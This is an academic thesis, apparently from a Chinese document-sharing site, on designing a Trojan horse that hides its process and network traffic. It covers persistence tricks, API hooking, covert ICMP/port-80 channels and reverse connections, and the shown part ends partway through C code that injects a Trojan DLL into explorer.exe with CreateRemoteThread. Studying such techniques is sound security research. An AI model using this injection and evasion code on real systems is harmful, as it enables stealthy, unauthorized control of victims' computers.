一種通過通信隱藏手段而設計的木馬_第1頁
一種通過通信隱藏手段而設計的木馬_第2頁
一種通過通信隱藏手段而設計的木馬_第3頁
一種通過通信隱藏手段而設計的木馬_第4頁
一種通過通信隱藏手段而設計的木馬_第5頁
已閱讀5頁,還剩16頁未讀, 繼續(xù)免費閱讀

下載本文檔

版權說明:本文檔由用戶提供并上傳,收益歸屬內容提供方,若內容存在侵權,請進行舉報或認領

文檔簡介

1、一種通過通信隱藏手段而設計的木馬一種通過通信隱藏手段而設計的木馬 摘摘 要要 近年來,特洛伊木馬等惡意代碼己經成為網(wǎng)絡安全的重要威脅。很多國家 都采取積極的網(wǎng)絡安全防御措施,投入大量的人力和物力研究網(wǎng)絡信息安全技術。 文章首先分析了傳統(tǒng)木馬的一般工作原理及其植入、加載、隱藏等關鍵技術。 隨著網(wǎng)絡技術的不斷更新和發(fā)展,木馬技術也在不斷地更新?lián)Q代,現(xiàn)代木馬的進 程隱藏和通信隱藏等等都發(fā)生了變化。 進程的隱藏和通信的隱藏一直是木馬程序設計者不斷探求的重要技術。攻 擊者為達到進程隱藏的目的,采用遠程線程和動態(tài)鏈接庫,將木馬作為線程隱 藏在其他進程中。選用一般安全策略都允許的端口通信,如 80 端口,則

2、可輕易 穿透防火墻和避過入侵檢測系統(tǒng)等安全機制的檢測,從而具有很強的隱蔽性。 本文研究了如何將 Windows 環(huán)境下的動態(tài)鏈接庫(DLL)技術與遠程線程插入 技術結合起來實現(xiàn)特洛伊木馬植入的新方案。在該方案中,提出了特洛伊木馬 程序 DLL 模塊化,并且創(chuàng)建了獨立的特洛伊木馬植入應用程序,將木馬程序的 DLL 模塊植入宿主進程。實驗結果證明該方案能實現(xiàn)的木馬植入,具有很好的 隱蔽性和靈活性。 關鍵詞關鍵詞:特洛伊木馬;動態(tài)連接庫;進程插入;遠程線程 The Design and Implementation of Trojan Horses Base on Process Hiding an

3、d Communications Hiding Abstract In recent years, malicious codes including Trojan have threatened network information security, and more and more countries paid attention to take active measures to protect the network, and spent a lot in research to develop network information security technology m

4、entally and materially. This paper firstly analyses the basic principle, entry technology, load technology and hiding technology of traditional Trojan horse. With the development of network technology, Trojan horse technology is upgrading constantly. Modern Trojan horse is changed in process hiding

5、and communication hiding. The process hiding and communications hiding are important technology being explored by Trojan horse programmers all long. Adopting the measure of dynamic link storage, and Remote Thread technology, and hiding Trojan horse behind the other processes as a thread program, it

6、is easy to hide. Choosing the port correspondence which is permitted by almost all the ordinary security policy, likes 80port, may easily penetrate the firewall and avoid the examine of security systems as invasion-checking mechanisms and so on. Thus, it has a very strong covered. This paper is impl

7、emented the injection of Trojan horse by combining the technology of DLL (dynamic linking library) and of remote thread injection on the Windows platform. In this paper, modularization of Trojan horse process is proposed to create an independent Trojan horse injection process, thus, to inject Trojan

8、 horse DLL module to the host process. Experimental results show that the program could realize the Trojan injected with good covered and flexibility. Key Words:Trojan Horse;DLL;Process Injection;Remote Thread 目目 錄錄 論文總頁數(shù):23 頁 1引言.1 2特洛伊木馬簡介.1 2.1認識木馬.2 2.2木馬原理.2 2.3木馬的危害.3 2.4常見木馬的介紹.3 3木馬隱藏概述.4 3.

9、1本地隱藏.4 3.2通信隱藏.8 4隱藏技術的實現(xiàn).10 4.1隱藏進程.10 4.2隱藏通信.14 4.3木馬功能的實現(xiàn).14 5系統(tǒng)測試.14 5.1功能測試.14 5.2性能測試.16 結 論.16 參考文獻.17 1 1引言引言 近年來,黑客攻擊層出不窮,對網(wǎng)絡安全構成了極大的威脅。2006年底, 我國互聯(lián)網(wǎng)上大規(guī)模爆發(fā)“熊貓燒香”木馬病毒及其變種,該木馬病毒通過多 種方式進行傳播,并將感染的所有程序文件改成熊貓舉著三根香的模樣,同時 該病毒還具有盜取用戶游戲賬號、賬號等功能。該病毒傳播速度快,危害 范圍廣,截至案發(fā)為止,已有上百萬個人用戶、網(wǎng)吧及企業(yè)局域網(wǎng)用戶遭受感 染和破壞,引起

10、社會各界高度關注。 木馬是黑客的主要攻擊手段之一,它通過滲透進入對方主機系統(tǒng),從而實 現(xiàn)對目標主機的遠程操作,破壞力相當之大。 到目前為止,木馬的發(fā)展已經經歷了五代 1第一代木馬只是實現(xiàn)簡單的密碼竊取、發(fā)送等,在隱藏和通信方面均無 特別之處。 2第二代木馬以文件關聯(lián)方式啟動,通過電子郵件傳送信息。在木馬技術 發(fā)展史上開辟了新的篇章。其典型代表是冰河, 3第三代木馬的信息傳輸方式有所突破,采用ICMP協(xié)議,增加了查殺的難 度。 4第四代木馬在進程隱藏方面獲得了重大突破,采用插入內核的嵌入方式。 利用遠程插入線程技術,嵌入DLL線程或掛接PSAPI等,實現(xiàn)木馬程序的隱藏。 利用反彈端口技術突破防火

11、墻限制。在Windows NT/2000下取得了良好的隱藏效 果。 5.第五代木馬與病毒緊密結合。利用操作系統(tǒng)漏洞,直接實現(xiàn)感染傳播目 的,而不必像以前的木馬那樣需要欺騙用戶主動激活。例如類似沖擊波病毒的 木馬噩夢。 現(xiàn)在的黑客技術已經越來越完善,精通各種攻擊技術的人才也越來越多, 現(xiàn)在流行的木馬都主要是針對網(wǎng)上銀行交易、網(wǎng)上證券交易以及各種網(wǎng)絡游戲, 木馬的危害已經越來越大,木馬這個課題有著重要的研究意義。 2 2特洛伊木馬簡介特洛伊木馬簡介 特洛伊木馬( Trojan Horse),以下簡稱木馬,取名自希臘神話“特洛伊木 馬記”,是指一類偽裝成合法程序或隱藏在合法程序中的惡意代碼,這些代碼

12、或 者執(zhí)行惡意行為,或者為非授權訪問系統(tǒng)的特權功能而提供后門。木馬的首要 特征是它的隱蔽性,為了提高自身的生存能力,木馬會采用各種手段來偽裝隱藏 以使被感染的系統(tǒng)表現(xiàn)正常。近年來,隨著windows操作系統(tǒng)普及,基于圖形操 作的木馬程序出現(xiàn),許多不太懂計算機編程的人也能熟練操作木馬,大肆危害 網(wǎng)絡安全木馬的發(fā)展。 2.12.1 認識木馬認識木馬 一個完整的木馬系統(tǒng)由硬件部分、軟件部分和具體連接部分組成。 1硬件部分 建立木馬連接所必須的硬件實體。具體包括: (1)客戶端:對服務器端進行遠程控制的一方。 (2)服務端:被控制端遠程控制的一方。 (3)Internet:控制端對服務端進行遠程控制,

13、遠程傳輸?shù)木W(wǎng)絡載體。 2軟件部分 實現(xiàn)遠程控制所必須的軟件程序。具體包括: (1)客戶端程序:控制端用以遠程控制服務端的程序。 (2)木馬程序:潛入服務端內部,獲得其操作權限的程序。 (3)木馬配置程序:設置木馬程序的端口號、觸發(fā)條件、木馬名稱等,使 其在服務端藏的更隱蔽的程序。 3連接部分 木馬進行數(shù)據(jù)傳輸?shù)哪康牡亍>唧w包括: 客戶端端口、木馬端口:即客戶端、服務端的數(shù)據(jù)入口,通過這個入口數(shù) 據(jù)可直達控制端程序或木馬程序。 2.22.2 木馬原理木馬原理 木馬攻擊網(wǎng)絡原理大致可以分為六個步驟: 1.配置木馬 一般來說,一個設計成熟的木馬都有木馬配置程序,從具體的配置內容看, 主要是為實現(xiàn)以下

14、兩個功能,木馬偽裝和信息反饋。 2.傳播木馬 木馬的傳播方式主要有兩種:一種是通過E-mail,客戶端將木馬程序以附 件的形式夾在郵件中發(fā)送出去,收件人只要打開附件就會感染木馬;另一種是 軟件下載,一些非正規(guī)的網(wǎng)站以提供軟件下載的名義,將木馬捆綁在軟件安裝 程序上,下載后,只要一運行這些程序,木馬就會自動安裝。 3.運行木馬 服務端用戶運行木馬或捆綁木馬的程序后,木馬就會自動進行安裝。當滿 足觸發(fā)條件時,木馬被激活,進入內存,并開啟事先定義的木馬端口,準備與 控制端建立連接。 4.信息泄露 木馬成功安裝后收集一些服務端的軟件硬件信息,并通過E-mail、IRC等方 式告知客戶端用戶。 5.建立

15、連接 一個木馬連接的建立首先必須滿足兩個條件:一是服務端已安裝了木馬程 序;二是客戶端、服務端都要在線。在此基礎上,客戶端可以通過木馬端口與 服務端建立連接。 6.遠程控制 木馬連接成功后,客戶端口和服務端口之間會出現(xiàn)一條通道,客戶端上的 控制端程序可借此通道與服務端上的木馬程序取得聯(lián)系,并通過木馬程序對服 務端進行遠程控制,實施破壞行動。 2.32.3 木馬的危害木馬的危害 1竊取密碼 一切以明文的形式,或緩存在Cache 中的密碼都能被木馬偵測到。此外, 很多木馬還提供有擊鍵記錄功能,所以,一旦有木馬入侵,密碼將很容易被竊取。 2文件操作 客戶端可通過遠程控制對服務端上的文件進行刪除、修改

16、、下載等一系列 操作,基本涵蓋了Windows 平臺上所有的文件操作功能。 3修改注冊表 客戶端可任意修改服務端注冊表,包括刪除、新建或修改主鍵、子健、鍵 值。有了這項功能,客戶端就可以將服務端上木馬的觸發(fā)條件設置得更隱蔽。 4系統(tǒng)操作 這項內容包括重啟或關閉服務端操作系統(tǒng),斷開服務端網(wǎng)絡連接,控制服 務端的鼠標、鍵盤,監(jiān)視服務端桌面操作,查看服務端進程等,客戶端甚至可 以隨時給服務端發(fā)送信息。 2.42.4 常見木馬常見木馬的介紹的介紹 木馬的種類繁多,但是陷于種種原因,真正廣泛使用的著名木馬只有少數(shù) 幾種,如BO2000、Subseven、冰河、YAI、Setiri等。 1.BO2000

17、BO2000有一個相當有用的功能,即隱藏木馬進程,一旦將這項功能設置為 enable,用ATM查看進程時,BO2000的木馬進程將不會被發(fā)現(xiàn)。 2.Subseven 在版本較高的Subseven中,除常規(guī)的觸發(fā)條件外,還提供有l(wèi)ess know method和not know method兩種觸發(fā)方法。選擇前者,運行木馬后將SYSTEM.INI 中的Shell改為Shell=explorer.exe msrexe.exe,即用SYSTEM.INI觸發(fā)木馬。 選擇后者則會在C:Windows目錄下創(chuàng)建一個名為Windows.exe的程序,通過這 個程序來觸發(fā)木馬,并將HKEY-ROOTexefi

18、leshellopencommand的鍵值“% 1”、“%X”改為“Windows.exe% 1”、“Windows.exe%X”。也就是說,即使 我們把木馬刪除了,只要一運行EXE文件,Windows.exe文件馬上又將木馬安裝 上去。對于這種出發(fā)條件,我們只要將鍵值改回原值,并刪除Windows.exe即可。 3.冰河 冰河的特殊觸發(fā)條件和Subseven極為相似。要注意的是,冰河的木馬程序 有隱藏屬性,需要將顯示模式設置為顯示所有文件時,才能看到。 4.YAI YAI是一個木馬和病毒的綜合體,它能通過寄生于任意GUI子系統(tǒng)、PE格式 的Windows程序觸發(fā)木馬,這樣即使YAIver被意

19、外清除,在短時間內也可以自動 恢復。YAI不可能用手工刪除的方法清楚干凈,建議使用殺毒軟件。 5Setiri 2002年2月,Roelof Temmingh和Haroon Meer開發(fā)了一個名叫Setiri的木馬 工具。這個木馬工具采用了多種隱藏技術,如匿名技術、加密通信、OLE編程、 反彈性端口等,從而使得檢測、堵截和追蹤非常困難,可以說是目前最先進的 木馬技術之一。 3 3木馬隱藏概述木馬隱藏概述 木馬程序與普通遠程管理程序的一個顯著區(qū)別是它的隱藏性。木馬被植入 后, 通常利用各種手段來隱藏痕跡, 以避免被發(fā)現(xiàn)和追蹤, 盡可能延長生存 期。其中進程隱藏和通信隱藏是木馬隱藏的關鍵。 3.13

20、.1 本地隱藏本地隱藏 本地隱藏是指木馬為防止被本地用戶發(fā)現(xiàn)而采取的隱藏手段, 主要包括啟 動隱藏、文件隱藏、進程隱藏、內核模塊隱藏、原始分發(fā)隱藏等。這些手段可 以分為三類: 將木馬隱藏(附著、捆綁或替換) 在合法程序中; 修改或替換相應的檢測程序,對有關木馬的輸出信息進行隱蔽處理; 利用檢測程序本身的工作機制或缺陷巧妙地避過木馬檢測。 1 啟動隱藏 啟動隱藏,是指目標機自動加載運行木馬程序, 而不被用戶發(fā)現(xiàn)。在 Windows 系統(tǒng)中,比較典型的木馬啟動方式有:修改系統(tǒng)“啟動”項;修改注冊 表的相關鍵值;插入常見默認啟動服務;修改系統(tǒng)配置文件 (Config.sys、Win.ini和Syst

21、em.ini 等);修改“組策略”等。這些啟動方式, 通常要修改系統(tǒng)的相關文件, 容易被檢測工具發(fā)現(xiàn)。此外,還有些特殊的木馬 啟動方式,如:文件關聯(lián)和寄生啟動( 注入普通進程)等。 2.文件隱藏 文件隱藏包括兩方面,一是通過偽裝, 達到迷惑用戶的目的;二是隱藏木 馬文件自身。對于前者,除了修改文件屬性為“隱藏”之外,大多通過一些類似 于系統(tǒng)文件的文件名來隱蔽自己。對于后者,可以修改與文件系統(tǒng)操作有關的 程序, 以過濾掉木馬信息;特殊區(qū)域存放( 如對硬盤進行低級操作,將一些扇 區(qū)標志為壞區(qū),將木馬文件隱藏在這些位置,或將文件存放在引導區(qū)中)等方式 達到隱藏自身的目的。在Windows NT/20

22、00 中,如果文件系統(tǒng)采用的是NTFS,可 以用NTFS 流來實現(xiàn)木馬文件的隱藏。 3.進程隱藏 進程通常被定義為一個正在運行的程序的實例,它由兩個部分組成: (1)一個是操作系統(tǒng)用來管理進程的內核對象。內核對象也是系統(tǒng)用來存 放關于進程的統(tǒng)計信息的地方。 (2)另一個是地址空間,它包含所有可執(zhí)行模塊或DLL模塊的代碼和數(shù)據(jù)。 它還包含動態(tài)內存分配的空間。如線程堆棧和堆分配空間。 一個正常的Windows應用程序,在運行之后,都會在系統(tǒng)之中產生一個進程。 Windows 2000/XP系統(tǒng)中的任務管理器能查看到系統(tǒng)中正在運行哪些進程。只要 平時多看任務管理器中的進程列表,熟悉系統(tǒng)的基本進程,就

23、可以隨時發(fā)現(xiàn)可 疑進程,這對防范木馬和病毒大有裨益!所以,要想木馬在服務端運行,就必 須做到在任務管理器里面消失,也就是進程隱藏。 木馬的進程隱藏包括兩方面:偽隱藏和真隱藏。偽隱藏,就是指木馬程序 的進程仍然存在, 只不過是消失在進程列表里;真隱藏,則是讓程序徹底消失, 不以一個進程或者服務的方式工作。進程隱藏方式,主要運用于Windows 系統(tǒng) 中。 偽隱藏 在Windows9x 系統(tǒng)下,常通過將木馬程序注冊為服務的方式實現(xiàn)隱藏。 WindowsNT/2K下,可以運用API 的攔截技術,通過建立系統(tǒng)鉤子,攔截PSAPI的 EnumProcessModules 或PDH,ToolHelp AP

24、I等相關函數(shù),控制檢測工具對進程或 服務的遍歷調用,實現(xiàn)進程隱藏。 真隱藏 真隱藏的基本原理是將木馬核心代碼以線程或DLL的方式插入到遠程進程中,由 于遠程進程是合法的用戶程序, 用戶又很難發(fā)現(xiàn)被插入的線程或DLL, 從而達 到木馬隱藏的目的。 在Windows系統(tǒng)中常見的隱藏方式有三種: 第一種進程隱藏技術:Windows 98的后門 這也是最早的進程隱藏技術。在Windows 98中,微軟提供了一種能將進程 注冊為服務進程的方法。盡管微軟沒有公開提供這種方法的技術實現(xiàn)細節(jié),但 仍有高手發(fā)現(xiàn)了這個秘密,這種技術稱為RegisterServiceProcess。只要利用 此方法,任何程序的進程

25、都能將自己注冊為服務進程,而服務進程在Windows 98中的任務管理器中恰巧又是不顯示的,所以便被木馬程序鉆了空子。 要對付這種隱藏的木馬還算簡單,只需使用其他第三方進程管理工具即可 找到其所在,并且采用此技術進行隱藏的木馬在Windows 2000/XP中就得現(xiàn)形! 中止該進程后將木馬文件刪除即可。可是接下來的第二代進程隱藏技術,就沒 有這么簡單對付了。 第二種進程隱藏技術:進程插入 進程插入(Process Injection),即打破進程的界限,訪問另一個進程的地 址空間一旦木馬的DLL插入了另一個進程的地址空間后,就可以披上合法的外衣, 為所欲為了。下面是三種常見的進程插入: A.

26、使用注冊表插入DLL 早期的進程插入式木馬的伎倆,通過修改注冊表中的HKEY_LOCAL_MACHINE Software MicrosoftWindows NTCurrentVersionWindowsAppInit_DLLs 來達到插入進程的目的。缺點是不實時,修改注冊表后需要重新啟動才能完成 進程插入。 B. 使用掛鉤(Hook)插入DLL 比較高級和隱蔽的方式,通過系統(tǒng)的掛鉤HOOK機制來插入進程,需要調用 一個Win32 API函數(shù)-SetWindowsHookEx函數(shù)。缺點是技術門檻較高,程序調試 困難,這種木馬的制作者必須具有相當?shù)腤in32編程水平。 C. 使用遠程線程函數(shù)(C

27、reateRemoteThread)插入DLL 在Windows 2000及以上的系統(tǒng)中提供了這個“遠程進程”機制,可以通過 一個系統(tǒng)API函數(shù)來向另一個進程中創(chuàng)建線程,即插入DLL。缺點很明顯,僅支 持Windows 2000及以上系統(tǒng),在國內仍有相當多用戶在使用Windows 98,所以 采用這種進程插入方式的木馬缺乏平臺通用性。 木馬將自身作為DLL 插入別的進程空間后,用查看進程的方式就無法找出 木馬的蹤跡了,你能看到的僅僅是一些正常程序的進程,但木馬卻已經偷偷潛 入其中了。解決的方法是使用支持“進程模塊查看”的進程管理工具,如 “Windows優(yōu)化大師”提供的進程查看,木馬的DLL模

28、塊就會現(xiàn)形了。 第三種進程隱藏技術:HOOK Hook是Windows中提供的一種用以替換DOS下“中斷”的一種系統(tǒng)機制,中 文譯名為“掛鉤”或“鉤子” 。在對特定的系統(tǒng)事件(包括上文中的特定API 函 數(shù)的調用事件)進行Hook后,一旦發(fā)生已Hook的事件,對該事件進行Hook的程序 (如:木馬)就會收到系統(tǒng)的通知,這時程序就能在第一時間對該事件做出響應, 木馬程序便搶在函數(shù)返回前對結果進行了修改。 通過Hook 技術對系統(tǒng)中所有程序的進程檢測相關API 的調用進行了監(jiān)控, “任務管理器”之所以能夠顯示出系統(tǒng)中所有的進程,也是因為其調用了 EnumProcesses等進程相關的API函數(shù),進

29、程信息都包含在該函數(shù)的返回結果中, 由發(fā)出調用請求的程序接收返回結果并進行處理。如“任務管理器”在接收到 結果后就在進程列表中顯示出來。而木馬由于事先對該API函數(shù)進行了Hook,所 以在“任務管理器”或其他調用了列舉進程函數(shù)的程序調用EnumProcesses函數(shù) 時(此時的API函數(shù)充當了“內線”的角色) ,木馬便得到了通知,并且在函數(shù) 將結果(列出所有進程)返回給程序前,就已將自身的進程信息從返回結果中抹 去了。 所以無論是“任務管理器”還是殺毒軟件,想對這種木馬的進程進行檢測 都是徒勞的。這種木馬目前沒有非常有效的查殺手段,只有在其運行前由殺毒 軟件檢測到木馬文件并阻止其病毒體的運行。

30、 4內核模塊隱藏 內核模塊隱藏,使木馬程序依附到操作系統(tǒng)部件上,或成為操作系統(tǒng)的一 部分。利用這種技術雖然效率比較低,實現(xiàn)比較復雜,但其具有很好的完固性 和隱藏性。該隱藏方式,在Linux系統(tǒng)中運用得比較廣泛。 在Windows系統(tǒng)中采用設備驅動技術(VxD、KMD和WDM) ,編寫虛擬設備驅動 程序實現(xiàn)。在Linux系統(tǒng)中,內核級木馬一般使用LKM技術實現(xiàn)。LKM( load kernel module) 主要是用于系統(tǒng)擴展功能,不需要重新編譯內核,就可以被動 態(tài)加載,現(xiàn)在許多內核開放的操作系統(tǒng)都支持這一功能。利用這種技術實現(xiàn)隱藏 的木馬有adore、knark和phide 等。 5原始分發(fā)

31、隱藏 軟件開發(fā)商可以在軟件的原始分發(fā)中植入木馬。如在Linux 系統(tǒng)中, Thompson編譯器木馬就采用了原始分發(fā)隱藏技術,其主要思想是: 修改編譯器的源代碼A,植入木馬,包括針對特定程序的木馬(如login 程 序)和針對編譯器的木馬。經修改后的編譯器源碼稱為B。 用干凈的編譯器C 對B 進行編譯得到被感染的編譯器D。 刪除B,保留D和A,將D和A同時發(fā)布。以后,無論用戶怎樣修改login 源程 序,使用D 編譯后的目標login 程序都包含木馬。而更嚴重的是用戶無法 查出原因,因為被修改的編譯器源碼B 已被刪除, 發(fā)布的是A,用戶無法 從源程序A 中看出破綻,即使用戶使用D對A重新進行編

32、譯,也無法清除隱 藏在編譯器二進制中的木馬。相對其它隱藏手段,原始分發(fā)的隱藏手段更 加隱蔽。這主要是由于用戶無法得到B,因此對這類木馬的檢測非常困難。 從原始分發(fā)隱藏的實現(xiàn)機理來看,木馬植入的位置越靠近操作系統(tǒng)底層越 不容易被檢測出來,對系統(tǒng)安全構成的威脅也就越大。 3.23.2 通信隱藏通信隱藏 通信隱藏是指利用授權的通信手段和載體進行在系統(tǒng)安全策略允許之外的 非授權的通信活動。通信隱藏主要包括通信內容、流量、信道和端口的隱藏。 木馬常用的通信隱藏方法是對傳輸內容加密, 這可以采用常見/自定義的加密、 解密算法實現(xiàn),但這只能隱藏通信內容, 無法隱藏通信信道。 采用網(wǎng)絡隱蔽通道技術不僅可以成功

33、地隱藏通信信道,還可以隱藏通信內 容。TCP/IP 協(xié)議族中,有許多信息冗余可用于建立網(wǎng)絡隱蔽通道。木馬可以利 用這些網(wǎng)絡隱蔽通道突破網(wǎng)絡安全機制,比較常見的有: ICMP畸形報文傳遞、 HTTP隧道技術,自定義TCP/UDP 報文等。采用網(wǎng)絡隱蔽通道技術,如果選用一般 安全策略都允許的端口通信,如80端口,則可輕易穿透防火墻和避過入侵檢測系 統(tǒng)等安全機制的檢測,從而具有很強的隱蔽性。 通信隱藏常見的辦法有以下幾種: (1)使用TCP協(xié)議通信 客戶端偵聽,服務端連接。這就是所謂的反向連接技術了。為了克服服務 端在某一端口上偵聽易被發(fā)現(xiàn)這一缺點,現(xiàn)在服務端不再偵聽端口,而是去連 接客戶端在偵聽的

34、某一端口。這樣用一般的port scanner或者fport就發(fā)現(xiàn)不了 服務端了。而為了更好的麻痹宿主機,客戶端偵聽的端口一般是21,80,23這種 任何人都要訪問的端口。雖然在安裝了防火墻的機器上,服務端去連接客戶端 還是要引起防火墻報警,但是一個粗心的用戶很可能會忽略“應用程序xxxxx試 圖訪問xxx.xxx.xxx.xxx通過端口80”這樣的警告。 這種反向連接技術要解決的一個問題是,服務端如何找到客戶端。由于一 般客戶端都是撥號上網(wǎng)的,沒有一個固定的IP,所以客戶端IP不可能硬編碼在 服務端程序中。當然由于撥號上網(wǎng)用戶的IP一般都是處于一個固定的IP地址范 圍內,服務端也可以掃描這個

35、范圍,然后根據(jù)被掃描主機的反饋來確定是否是 自己的客戶端,但是服務端掃描一個IP地址范圍也太煩瑣。 其實客戶端可以通過一個有固定IP或者固定域名的第三方發(fā)布自己的IP, 比如通過一個公共的郵箱,通過一個個人主頁,或者我們截獲其他進程收到的 TCP數(shù)據(jù)或者UDP包,然后分析截獲的數(shù)據(jù),從中確定是否客戶端發(fā)來了一個報 告其IP的數(shù)據(jù)片斷。對于普通用戶來說,由于要上網(wǎng)瀏覽,這樣的ICMP包是很 少過濾掉的。所以還有一種方法是使用RAW socket來收聽ECHO REPLY類型的 ICMP包,在ICMP數(shù)據(jù)包的數(shù)據(jù)去就包含了客戶端IP。 (2)使用UDP協(xié)議通信 服務端偵聽,客戶端連接;客戶端偵聽,

36、服務端連接。方法和安全性與使 用TCP協(xié)議差不多。需要注意的是UDP不是一個可靠的協(xié)議,所以,必須在UDP協(xié) 議的基礎上設計一個自己的可靠的報文傳遞協(xié)議。 (3)用ICMP來通信 既然客戶端可以通過發(fā)一個ICMP(ECHO REPLY)來告訴服務端它的IP,那為 什么不把所有服務端和客戶端的通訊都建立在ICMP基礎上呢?服務端向客戶端發(fā) ICMP(ECHOREQUEST),客戶端向服務端發(fā)ICMP(ECHO REPLY),然后可以在ICMP基 礎上建立一個自己的可靠數(shù)據(jù)報通訊協(xié)議。如果不怕麻煩的話,還可以建立一 個TCP over ICMP。由于一般的用戶這兩類ICMP包都是設為無警告放行的,

37、這種 方法的隱秘性還是很強的。 (4)用自定義的協(xié)議來通信 我們知道IP頭的協(xié)議字段指定了這個IP包承載得數(shù)據(jù)的協(xié)議,比如 TCP,UDP,ICMP等等。我們完全可以把這個字段設為我們自己定義的值(80), 定義自己的通訊協(xié)議。不過估計這種IP包將會被所有的防火墻過濾掉。 (5)基于嗅探原理的通信 服務器端是一個sniffer和發(fā)包器,它將捕獲指定特征的數(shù)據(jù)包??蛻舳耸?一個發(fā)包器和嗅探器,用來發(fā)送指定特征的數(shù)據(jù)包并包括定義的命令以及接收 服務器端的數(shù)據(jù)。當服務器端捕獲到該指定特征的數(shù)據(jù)包時,變成激活狀態(tài), 通過分析該數(shù)據(jù)包,獲得客戶端發(fā)送的命令和客戶端的IP地址,然后實現(xiàn)相應 的命令,并將執(zhí)

38、行后的結果發(fā)送回客戶端,客戶端的嗅探部分則接收相應的數(shù) 據(jù)。所有的數(shù)據(jù)發(fā)送都是通過原始套接字進行。 其他隱藏通信的辦法,如變換數(shù)據(jù)包順序也可以實現(xiàn)通信隱藏。對于傳輸n 個對象的通信,可以有n!種傳輸順序,總共可以表示log2( n!)比特位的信息。 但是該方法對網(wǎng)絡傳輸質量要求較高,接收方應能按照數(shù)據(jù)包發(fā)送的順序接收。 這種通信隱藏方式具有不必修改數(shù)據(jù)包內容的優(yōu)點。 現(xiàn)有木馬一般不大注意通信流量的隱藏, 而用戶可以通過檢測異常的通信 流量變化發(fā)現(xiàn)木馬,因此還有一種“跟著進程動”的辦法來實現(xiàn)通信隱藏:當 存在其它通信流量時,木馬程序也啟動通信。當不存在任何其它通信流量時,木 馬程序處于監(jiān)聽狀態(tài),

39、 等待其它進程通信。同時可以運用數(shù)據(jù)緩沖區(qū),暫存待 發(fā)送的數(shù)據(jù)。 通信隱藏技術只是木馬隱藏諸技術中得一部分,但也是最重要的一部分。 因為他不但要保護木馬,還要保護木馬得控制者,所以不管是木馬編寫者,還 是防火墻編寫者,都應該對這一部分給予足夠的重視。 4 4隱藏技術的實現(xiàn)隱藏技術的實現(xiàn) 4.14.1 隱藏進程隱藏進程 上文介紹了幾種隱藏進程的方法,在此,筆者采用遠程線程插入的方法來 實現(xiàn)進程的隱藏。 首先,我們通過 OpenProcess 來打開我們試圖嵌入的進程。如果遠程進程 不允許打開,那么嵌入就無法進行了,這往往是由于權限不足引起的,解決方 法是通過種種途徑提升本地進程的權限。 hRem

40、oteProcess=OpenProcess(PROCESS_CREATE_THREAD| PROCESS_VM_OPERATION| PROCESS_VM_WRITE, FALSE, dwRemoteProcessId); 由于我們后面需要寫入遠程進程的內存地址空間并建立遠程線程,所以需 要申請足夠的權限(PROCESS_CREATE_THREAD、VM_OPERATION、VM_WRITE)。 然后,我們可以建立 LoadLibraryA 函數(shù)這個線程來啟動我們的 DLL 木馬, LoadLibraryA 函數(shù)是在 kernel32.dll 中定義的,用來加載 DLL 文件,它只有 一個參

41、數(shù),就是 DLL 文件的絕對路徑名 pszLibFileName,也就是木馬 DLL 的全 路徑文件名,但是由于木馬 DLL 是在遠程進程內調用的,所以我們首先還需要 將這個文件名復制到遠程地址空間:(否則遠程線程是無法讀到這個參數(shù)的) /計算 DLL 路徑名需要的內存空間 int cb=(1+strlen(pszLibFileName)*sizeof(char); /使用 VirtualAllocEx 函數(shù)在遠程進程的內存地址空間分配 DLL 文件名緩 沖區(qū) pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb

42、, MEM_COMMIT, PAGE_READWRITE); 否 成功 成功 開 始 結 束 打開遠程進程 獲取 hide.dll 計算 hide.dll 長度 VirtualAllocEx 申請存放文件名的空間 pszLibFileNamepszLibFileNameWriteProcessMemory 把 DLL 文件名寫入空 間 fnStartAddr 獲取動態(tài)鏈接庫函數(shù)地 址 CreateRemoteThread 創(chuàng)建遠程線程 CloseHandle 關閉遠程線程 CloseHandle 關閉進程快照 打開進程快照 獲取第一個進程 獵取 exploere 進程 否 圖 1 基于遠程線程

43、插入的程序流程圖 /使用 WriteProcessMemory 函數(shù)將 DLL 的路徑名復制到遠程進程的內存空 間 ReturnCode = WriteProcessMemory(hRemoteProcess, pszLibFileRemote, pszLibFileName, cb, NULL); /計算 LoadLibraryA 的入口地址 LPTHREAD_START_ROUTINE fnStartAddr=(LPTHREAD_START_ROUTINE) GetProcAddress(phmd,LoadLibraryA); 我們通過建立遠程線程時的地址 fnStartAddr(實際上就

44、是 LoadLibraryA 的入口地址)和傳遞的參數(shù) pszLibFileRemote(實際上是我們復制過去的木馬 DLL 的全路徑文件名)在遠程進程內啟動我們的木馬 DLL: /啟動遠程線程 LoadLibraryA,通過遠程線程調用用戶的 DLL 文件 hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, fnStartAddr, pszLibFileRemote, 0, NULL); 下面是本程序實現(xiàn)遠程線程插入的核心代碼: char pszLibFileNameMAX_PATH;/存放待隱藏的 DLL 文件名 HAN

45、DLE hProcessSnap=NULL;/進程快照句柄 HANDLE hRemoteProcess;/遠程進程句柄 LPVOID pszLibFileRemote;/遠程進程中分配給文件名的空間 HMODULE phmd;/存放 kernel32.dll 句柄 HANDLE hRemoteThread1=NULL;/存放遠程線程句柄 PROCESSENTRY32 pe32=0; DWORD dwRemoteProcessId; hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);/打 開進程快照 if(hProcessSn

46、ap=(HANDLE)-1) MessageBox(CreateToolhelp32Snapshot failed,MB_OK); return ; pe32.dwSize=sizeof(PROCESSENTRY32); if(Process32First(hProcessSnap, strcpy(te,pe32.szExeFile); if(!strcmp(te,explorer.exe)| !strcmp(te,EXPLORER.EXE) /找到宿主進程,以 EXPLORER.EXE 為例 dwRemoteProcessId=pe32.th32ProcessID; break; while

47、(Process32Next(hProcessSnap,/獲取下一個進程 else MessageBox(取第一個進程失敗,MB_OK); return ; hRemoteProcess=OpenProcess (PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_WRITE, FALSE, dwRemoteProcessId); GetCurrentDirectory(MAX_PATH,pszLibFileName); strcat(pszLibFileName,hide.dll); int cb=(1+strlen(pszLibFil

48、eName)*sizeof(char);/計算 dll 文件名 長度 pszLibFileRemote=(PWSTR)VirtualAllocEx(hRemoteProcess, NULL, cb, MEM_COMMIT, PAGE_READWRITE);/申請存放文件名的空間 BOOL ReturnCode=WriteProcessMemory(hRemoteProcess, pszLibFileRemote, pszLibFileName, cb, NULL);/把 dll 文件名寫入申請的空間 phmd=GetModuleHandle(kernel32.dll); LPTHREAD_ST

